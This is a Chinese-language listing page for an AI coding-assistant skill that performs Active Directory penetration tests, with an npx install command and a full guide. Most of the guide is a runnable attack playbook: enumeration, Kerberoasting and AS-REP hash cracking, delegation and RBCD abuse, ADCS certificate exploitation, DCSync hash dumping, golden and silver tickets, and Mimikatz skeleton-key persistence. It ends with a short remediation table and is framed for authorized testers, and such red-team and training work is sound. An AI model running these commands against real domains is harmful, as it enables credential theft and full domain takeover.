mcpField
P
performing-active-directory-penetration-test

performing-active-directory-penetration-test

github.com/mukul975安全35.2k96 次安装8 周前更新
代码仓库

关于 performing-active-directory-penetration-test

面向授权测试人员的 Active Directory 安全评估指南，涵盖枚举、Kerberos 与 ADCS 攻击测试、权限提升、持久化演示以及修复建议。

主要功能

  1. 01域和服务账户枚举
  2. 02BloodHound 攻击路径分析
  3. 03Kerberos 攻击测试
  4. 04ADCS 模板评估
  5. 05权限提升与持久化测试
  6. 06发现项及修复建议

适用场景

  1. 01评估 Active Directory 域
  2. 02测试 Kerberos 和证书配置
  3. 03验证权限边界与安全控制
  4. 04根据发现项确定修复优先级

安装

复制下面的命令，在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-active-directory-penetration-test

安装后在 Claude Code 中输入/performing-active-directory-penetration-test确认已加载。

包含的文件

除 SKILL.md 外，安装时一起下载的参考资料和脚本。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

详细介绍

执行 Active Directory 渗透测试

概述

Active Directory（AD）渗透测试针对的是超过 95% 的《财富》500 强公司所使用的核心身份与访问管理系统。该测试可识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板，以及使攻击者能够从标准域用户提升到 Domain Admin 或 Enterprise Admin 的攻击路径。

何时使用

  • 在开展涉及执行 active directory 渗透测试的安全评估时
  • 在针对相关安全事件遵循事件响应流程时
  • 在执行计划内的安全测试或审计活动时
  • 在通过动手测试验证安全控制措施时

前提条件

  • 标准域用户凭据（最低起点）
  • 对域控制器的网络访问（LDAP/389、Kerberos/88、SMB/445、DNS/53）
  • 工具：BloodHound、Impacket、Certipy、Rubeus、NetExec、Mimikatz
  • 具有域访问权限的 Kali Linux 或 Windows 攻击机

阶段 1 — AD 枚举

域信息收集
# Basic domain enumeration
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP enumeration — domain controllers
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# Enumerate trust relationships
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts

# Enumerate domain password policy
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol

# Enumerate Group Policy Objects
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords

# Find computers with unconstrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName

# Find users with constrained delegation
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto

# Enumerate LAPS
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
BloodHound 攻击路径分析
# Collect all BloodHound data
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# Alternative: SharpHound from Windows
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# Start BloodHound
sudo neo4j start
bloodhound --no-sandbox

# Key Cypher queries in BloodHound:
# - Shortest path to Domain Admin
# - Find Kerberoastable users
# - Find AS-REP Roastable users
# - Find users with DCSync rights
# - Find shortest path from owned principals
# - Find computers where Domain Users are local admin
服务账户发现
# Find service accounts with SPNs (Kerberoastable)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# Find accounts without Kerberos pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# Find managed service accounts
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

阶段 2 — Kerberos 攻击

Kerberoasting
# Extract TGS tickets for service accounts
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# Crack with Hashcat (mode 13100 for Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# Targeted Kerberoasting with Rubeus (Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
AS-REP Roasting
# Target accounts without pre-authentication
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# Crack AS-REP hashes (mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
Kerberos 委派攻击
# Unconstrained delegation — extract TGTs from memory
# If you compromise a host with unconstrained delegation:
.\Rubeus.exe monitor /interval:5 /nowrap
# Force authentication from DC using PrinterBug/SpoolSample
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# Constrained delegation — S4U abuse
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass

# Resource-Based Constrained Delegation (RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

阶段 3 — ADCS（Active Directory 证书服务）攻击

# Enumerate ADCS with Certipy
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — Vulnerable certificate template (enrollee can specify SAN)
certipy req -u '[email protected]' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn [email protected]

# Authenticate with the certificate
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — Template ACL misconfiguration
# Modify template to enable ESC1 conditions, then exploit as above

# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
certipy req -u '[email protected]' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn [email protected]

# ESC8 — NTLM relay to HTTP enrollment endpoint
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

阶段 4 — 域权限提升

DCSync 攻击
# DCSync — extract all domain hashes (requires replication rights)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc

# DCSync specific user
impacket-secretsdump 'corp.local/domainadmin:[email protected]' \
  -just-dc-user krbtgt

# With Mimikatz (Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
黄金票据
# Create Golden Ticket (requires krbtgt hash and domain SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass

# With Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt
白银票据
# Create Silver Ticket for specific service
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/[email protected]' -k -no-pass

阶段 5 — 持久化演示

# Skeleton Key (inject into LSASS — authorized testing only)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# Now any user can authenticate with "mimikatz" as password

# AdminSDHolder persistence
# Add controlled user to AdminSDHolder ACL
# SDProp process propagates ACL to all protected groups every 60 minutes

# SID History injection
# Inject Domain Admin SID into low-privilege user's SID history

# Document all persistence mechanisms and clean up after testing

发现与修复

发现CVSS修复
存在弱密码的 Kerberoastable 账户7.5使用 gMSA，对服务账户强制要求 25+ 字符密码
服务器上存在非约束委派8.1移除非约束委派，使用约束委派或 RBCD
存在漏洞的 ADCS 模板（ESC1-ESC8）9.8审计模板，移除危险权限，要求审批
非 DA 账户拥有 DCSync 权限9.8审计复制权限，实施分层管理模式
启用了 LLMNR/NBT-NS8.1通过 GPO 禁用
未部署 LAPS7.2部署 Windows LAPS 以管理本地管理员
域密码策略薄弱6.5强制要求 14+ 字符，实施细粒度密码策略

参考资料

评论

支持 Markdown